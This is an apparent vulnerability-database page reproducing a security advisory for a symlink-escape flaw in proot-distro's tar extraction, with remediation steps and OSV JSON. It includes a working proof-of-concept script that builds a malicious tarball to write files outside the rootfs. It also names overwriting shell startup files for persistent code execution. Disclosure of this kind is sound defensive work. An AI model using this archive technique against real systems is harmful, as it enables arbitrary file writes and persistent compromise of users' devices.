CVE-2026-54574: Proot distro `proot-distro Install` Has A Symlink Vulnerability

HIGH
Advisory Identifier: GHSA-9xq3-3fqg-4vg7
CVSS 8.2
CWE-61
Published
Advisory Summary

CVE-2026-54574 is a HIGH (CVSS 8.2) `proot-distro install` has a symlink vulnerability (CWE-61: UNIX Symbolic Link (Symlink) Following) affecting Proot distro libraries in the PyPI ecosystem. The issue involves `proot-distro install` has a symlink escape (arbitrary host file write) via malicious tar archive. Remediation is available by upgrading affected packages to version 5.1.5.

CVE-2026-54574 at a Glance

CVE Identifier CVE-2026-54574
GHSA Identifier GHSA-9xq3-3fqg-4vg7
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-61: UNIX Symbolic Link (Symlink) Following
Affected Product Proot distro
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-54574

To remediate this vulnerability, upgrade all affected Proot distro dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

proot-distro fixed: 5.1.5
pip install proot-distro>=5.1.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show proot-distro

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-54574, inspect your installed packages using pip:

pip show proot-distro

Analyze the terminal output to locate any version of Proot distro in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.1.5), your application is affected.

Note: The pip show proot-distro command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-61: UNIX Symbolic Link (Symlink) Following, where the product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. this could allow an attacker to cause the product to operate on unauthorized files. In Proot distro, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

**Repository:** `termux/proot-distro` **Component:** `proot_distro/commands/install.py` → `_extract_plain_tar()`; also `helpers/docker.py` → `_apply_layer()` --- ## Affected Versions | Component | Version | |---------------|------------------------------| | proot-distro | 5.0.2 (confirmed vulnerable) | | Termux app | 0.119.0-beta.3 | | Device / ABI | Samsung Galaxy A23 / aarch64 | | Python (host) | 3.13 | --- ## Vulnerability Description `proot-distro install` extracts a plain tarball rootfs by calling `_extract_plain_tar()` in `proot_distro/commands/install.py`. This function correctly rejects tar member **names** containing `..` components, but applies **no equivalent check on symlink targets** (`member.linkname`). A tar archive can therefore: 1. Plant a symlink inside the rootfs whose target is an **absolute host path** (e.g. `/data/data/com.termux/files/home`). 2. Write a subsequent regular-file member whose path traverses through that symlink name. Python's `open()` follows the symlink, writing the file **on the host filesystem** at the privilege level of the Termux process — entirely during `proot-distro install`, before the container is ever run. The same `_extract_plain_tar` function is reachable via `proot-distro reset`, and the equivalent `_apply_layer` in `helpers/docker.py` contains the same flaw. --- ## Vulnerable Code **`proot_distro/commands/install.py`**, `_extract_plain_tar()`: ```python elif member.issym(): # linkname taken verbatim from archive — no validation of target os.symlink(member.linkname, dest) # ← symlink planted on host elif member.isreg(): dest = os.path.join(rootfs_dir, rel_path) with open(dest, 'wb') as out: # ← follows symlink above ... ``` The existing traversal guard only covers member **names**: ```python if any(p in ('..', '') for p in rel_parts): continue # only checks the name, not the symlink target ``` There is **no check on `member.linkname`**. An absolute symlink target bypasses this guard entirely. | Check | Member name (`rel_path`) | Symlink target (`member.linkname`) | |------------------------------------|:------------------------:|:----------------------------------:| | Reject `..` components | ✅ | ❌ | | Confirm stays inside `rootfs_dir` | ❌ | ❌ | --- ## Proof of Concept ### Step 1 — Craft a malicious archive ```python # craft_evil_layer.py import tarfile, io, hashlib PAYLOAD = b"TERMUX_ESCAPE_SUCCESS\n" buf = io.BytesIO() with tarfile.open(fileobj=buf, mode='w:gz') as tf: # Plant symlink: <rootfs>/escape → /data/data/com.termux/files/home sym = tarfile.TarInfo(name='escape') sym.type = tarfile.SYMTYPE sym.linkname = '/data/data/com.termux/files/home' tf.addfile(sym) # Write file through symlink: <rootfs>/escape/POC_SUCCESS → host ~/POC_SUCCESS reg = tarfile.TarInfo(name='escape/POC_SUCCESS') reg.size = len(PAYLOAD) tf.addfile(reg, io.BytesIO(PAYLOAD)) data = buf.getvalue() with open('evil.tar.gz', 'wb') as f: f.write(data) print("Created evil.tar.gz") print("sha256:", hashlib.sha256(data).hexdigest()) ``` ### Step 2 — Install the archive ``` $ python craft_evil_layer.py Created evil.tar.gz sha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57 $ proot-distro install ./evil.tar.gz [*] Installing from 'evil.tar.gz' as 'evil'... [*] Extracting rootfs from archive... [*] Finished installation. ``` ### Step 3 — Verify proot-distro version ``` $ pkg show proot-distro | grep Version WARNING: apt does not have a stable CLI interface. Use with caution in scripts. Version: 5.0.2 ``` ### Step 4 — Verify host write ``` $ cat ~/POC_SUCCESS TERMUX_ESCAPE_SUCCESS ``` `POC_SUCCESS` was written directly into the host Termux `$HOME` during installation, with no container login required. --- ## Impact - **Arbitrary host file write** at the full privilege of the Termux process, triggered solely by `proot-distro install` — no container interaction required. - A malicious `.tar.gz` / `.tar.xz` / `.tgz` archive delivered via a file download, CI artifact, or compromised mirror is sufficient to exploit this. - Practical payloads include overwriting `~/.bashrc`, `~/.profile`, `$PREFIX/etc/bash.bashrc`, or any file in the Termux home/prefix, achieving **persistent code execution** the next time the user opens a shell. - Also reachable via `proot-distro reset` if the malicious archive is reused, and via `_apply_layer` in `helpers/docker.py`. --- ## Root Cause `_extract_plain_tar` validates member **names** against `..` traversal but places no restriction on symlink **targets**. The two vectors are treated asymmetrically: | Check | Member name (`rel_path`) | Symlink target (`member.linkname`) | |------------------------------------|:------------------------:|:----------------------------------:| | Reject `..` components | ✅ | ❌ | | Confirm stays inside `rootfs_dir` | ❌ | ❌ | The member-name check (`any(p in ('..', '') for p in rel_parts)`) is necessary but not sufficient: a symlink with an absolute target bypasses it entirely. --- ## Proposed Fix Add a guard that rejects any symlink whose resolved target falls outside `rootfs_dir`. Apply in both `_extract_plain_tar` and `_apply_layer`: ```python def _is_safe_symlink(rootfs_dir: str, dest: str, linkname: str) -> bool: """Return True only if the symlink target resolves inside rootfs_dir.""" if os.path.isabs(linkname): return False # absolute targets always escape on the host resolved = os.path.normpath(os.path.join(os.path.dirname(dest), linkname)) real_root = os.path.realpath(rootfs_dir) real_resolved = (os.path.realpath(resolved) if os.path.exists(resolved) else os.path.normpath(resolved)) return real_resolved.startswith(real_root + os.sep) or real_resolved == real_root ``` Then in `_extract_plain_tar`: ```python elif member.issym(): if not _is_safe_symlink(rootfs_dir, dest, member.linkname): continue # drop unsafe symlink if os.path.lexists(dest): ... os.symlink(member.linkname, dest) ``` Apply the identical guard inside `_apply_layer` in `helpers/docker.py`. > **Note:** A stricter alternative — matching Docker's own behavior — is to **rewrite** > absolute symlink targets to relative paths within the rootfs rather than dropping them, > to avoid breaking legitimate images that use absolute intra-rootfs symlinks such as > `/usr/lib → /lib`. --- *Confirmed on proot-distro 5.0.2, Termux on Android/aarch64.* *Maintainer: @sylirre — report via GitHub Security Advisory on the `termux/proot-distro` repository.*

CVE-2026-54574 Affected Proot distro Versions

1 component(s)
Fixed Versions:
5.1.5
Product / Package Ecosystem Affected Versions Fixed Version
proot-distro
PyPI
< 5.1.5
5.1.5

References

Frequently Asked Questions

What is CVE-2026-54574?
CVE-2026-54574 is a security vulnerability in Proot distro involving `proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive under CWE-61: UNIX Symbolic Link (Symlink) Following.
Which Proot distro versions are affected?
Affected versions include releases prior to 5.1.5 across affected packages: proot-distro.
What version fixes CVE-2026-54574?
Upgrading to 5.1.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is proot-distro affected?
Yes, proot-distro is affected in releases prior to 5.1.5. Upgrade your dependency to 5.1.5 or later.
What is the CVSS score of CVE-2026-54574?
CVE-2026-54574 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-54574?
CVE-2026-54574 is classified under CWE-61: UNIX Symbolic Link (Symlink) Following (The product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.).
How can I check PyPI dependencies for CVE-2026-54574?
Run the dependency tree command: 'pip show proot-distro'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9xq3-3fqg-4vg7",
  "modified" : "2026-07-29T16:32:34Z",
  "published" : "2026-07-29T16:32:34Z",
  "aliases" : [ "CVE-2026-54574" ],
  "summary" : "`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive",
  "details" : "**Repository:** `termux/proot-distro`  \n**Component:** `proot_distro/commands/install.py` → `_extract_plain_tar()`; also `helpers/docker.py` → `_apply_layer()`    \n\n---\n\n## Affected Versions\n\n| Component     | Version                      |\n|---------------|------------------------------|\n| proot-distro  | 5.0.2 (confirmed vulnerable) |\n| Termux app    | 0.119.0-beta.3               |\n| Device / ABI  | Samsung Galaxy A23 / aarch64 |\n| Python (host) | 3.13                         |\n\n---\n\n## Vulnerability Description\n\n`proot-distro install` extracts a plain tarball rootfs by calling `_extract_plain_tar()` in\n`proot_distro/commands/install.py`. This function correctly rejects tar member **names**\ncontaining `..` components, but applies **no equivalent check on symlink targets**\n(`member.linkname`). A tar archive can therefore:\n\n1. Plant a symlink inside the rootfs whose target is an **absolute host path**\n   (e.g. `/data/data/com.termux/files/home`).\n2. Write a subsequent regular-file member whose path traverses through that symlink name.\n\nPython's `open()` follows the symlink, writing the file **on the host filesystem** at the\nprivilege level of the Termux process — entirely during `proot-distro install`, before the\ncontainer is ever run.\n\nThe same `_extract_plain_tar` function is reachable via `proot-distro reset`, and the\nequivalent `_apply_layer` in `helpers/docker.py` contains the same flaw.\n\n---\n\n## Vulnerable Code\n\n**`proot_distro/commands/install.py`**, `_extract_plain_tar()`:\n\n```python\nelif member.issym():\n    # linkname taken verbatim from archive — no validation of target\n    os.symlink(member.linkname, dest)        # ← symlink planted on host\n\nelif member.isreg():\n    dest = os.path.join(rootfs_dir, rel_path)\n    with open(dest, 'wb') as out:            # ← follows symlink above\n        ...\n```\n\nThe existing traversal guard only covers member **names**:\n\n```python\nif any(p in ('..', '') for p in rel_parts):\n    continue  # only checks the name, not the symlink target\n```\n\nThere is **no check on `member.linkname`**. An absolute symlink target bypasses this guard\nentirely.\n\n| Check                              | Member name (`rel_path`) | Symlink target (`member.linkname`) |\n|------------------------------------|:------------------------:|:----------------------------------:|\n| Reject `..` components             | ✅                        | ❌                                  |\n| Confirm stays inside `rootfs_dir`  | ❌                        | ❌                                  |\n\n---\n\n## Proof of Concept\n\n### Step 1 — Craft a malicious archive\n\n```python\n# craft_evil_layer.py\nimport tarfile, io, hashlib\n\nPAYLOAD = b\"TERMUX_ESCAPE_SUCCESS\\n\"\n\nbuf = io.BytesIO()\nwith tarfile.open(fileobj=buf, mode='w:gz') as tf:\n\n    # Plant symlink: <rootfs>/escape → /data/data/com.termux/files/home\n    sym = tarfile.TarInfo(name='escape')\n    sym.type = tarfile.SYMTYPE\n    sym.linkname = '/data/data/com.termux/files/home'\n    tf.addfile(sym)\n\n    # Write file through symlink: <rootfs>/escape/POC_SUCCESS → host ~/POC_SUCCESS\n    reg = tarfile.TarInfo(name='escape/POC_SUCCESS')\n    reg.size = len(PAYLOAD)\n    tf.addfile(reg, io.BytesIO(PAYLOAD))\n\ndata = buf.getvalue()\nwith open('evil.tar.gz', 'wb') as f:\n    f.write(data)\n\nprint(\"Created evil.tar.gz\")\nprint(\"sha256:\", hashlib.sha256(data).hexdigest())\n```\n\n### Step 2 — Install the archive\n\n```\n$ python craft_evil_layer.py\nCreated evil.tar.gz\nsha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57\n\n$ proot-distro install ./evil.tar.gz\n[*] Installing from 'evil.tar.gz' as 'evil'...\n[*] Extracting rootfs from archive...\n[*] Finished installation.\n```\n\n### Step 3 — Verify proot-distro version\n\n```\n$ pkg show proot-distro | grep Version\nWARNING: apt does not have a stable CLI interface. Use with caution in scripts.\n\nVersion: 5.0.2\n```\n\n### Step 4 — Verify host write\n\n```\n$ cat ~/POC_SUCCESS\nTERMUX_ESCAPE_SUCCESS\n```\n\n`POC_SUCCESS` was written directly into the host Termux `$HOME` during installation,\nwith no container login required.\n\n---\n\n## Impact\n\n- **Arbitrary host file write** at the full privilege of the Termux process, triggered solely\n  by `proot-distro install` — no container interaction required.\n- A malicious `.tar.gz` / `.tar.xz` / `.tgz` archive delivered via a file download, CI\n  artifact, or compromised mirror is sufficient to exploit this.\n- Practical payloads include overwriting `~/.bashrc`, `~/.profile`,\n  `$PREFIX/etc/bash.bashrc`, or any file in the Termux home/prefix, achieving **persistent\n  code execution** the next time the user opens a shell.\n- Also reachable via `proot-distro reset` if the malicious archive is reused, and via\n  `_apply_layer` in `helpers/docker.py`.\n\n---\n\n## Root Cause\n\n`_extract_plain_tar` validates member **names** against `..` traversal but places no\nrestriction on symlink **targets**. The two vectors are treated asymmetrically:\n\n| Check                              | Member name (`rel_path`) | Symlink target (`member.linkname`) |\n|------------------------------------|:------------------------:|:----------------------------------:|\n| Reject `..` components             | ✅                        | ❌                                  |\n| Confirm stays inside `rootfs_dir`  | ❌                        | ❌                                  |\n\nThe member-name check (`any(p in ('..', '') for p in rel_parts)`) is necessary but not\nsufficient: a symlink with an absolute target bypasses it entirely.\n\n---\n\n## Proposed Fix\n\nAdd a guard that rejects any symlink whose resolved target falls outside `rootfs_dir`.\nApply in both `_extract_plain_tar` and `_apply_layer`:\n\n```python\ndef _is_safe_symlink(rootfs_dir: str, dest: str, linkname: str) -> bool:\n    \"\"\"Return True only if the symlink target resolves inside rootfs_dir.\"\"\"\n    if os.path.isabs(linkname):\n        return False  # absolute targets always escape on the host\n    resolved = os.path.normpath(os.path.join(os.path.dirname(dest), linkname))\n    real_root = os.path.realpath(rootfs_dir)\n    real_resolved = (os.path.realpath(resolved) if os.path.exists(resolved)\n                     else os.path.normpath(resolved))\n    return real_resolved.startswith(real_root + os.sep) or real_resolved == real_root\n```\n\nThen in `_extract_plain_tar`:\n\n```python\nelif member.issym():\n    if not _is_safe_symlink(rootfs_dir, dest, member.linkname):\n        continue  # drop unsafe symlink\n    if os.path.lexists(dest):\n        ...\n    os.symlink(member.linkname, dest)\n```\n\nApply the identical guard inside `_apply_layer` in `helpers/docker.py`.\n\n> **Note:** A stricter alternative — matching Docker's own behavior — is to **rewrite**\n> absolute symlink targets to relative paths within the rootfs rather than dropping them,\n> to avoid breaking legitimate images that use absolute intra-rootfs symlinks such as\n> `/usr/lib → /lib`.\n\n---\n\n*Confirmed on proot-distro 5.0.2, Termux on Android/aarch64.*  \n*Maintainer: @sylirre — report via GitHub Security Advisory on the `termux/proot-distro` repository.*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "proot-distro"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.1.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.1.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/termux/proot-distro/security/advisories/GHSA-9xq3-3fqg-4vg7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/termux/proot-distro/commit/a96d7a9667f38e45d812614852ee3915d1c0ae45"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/termux/proot-distro"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/termux/proot-distro/releases/tag/v5.1.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-61" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-29T16:32:34Z",
    "nvd_published_at" : null
  }
}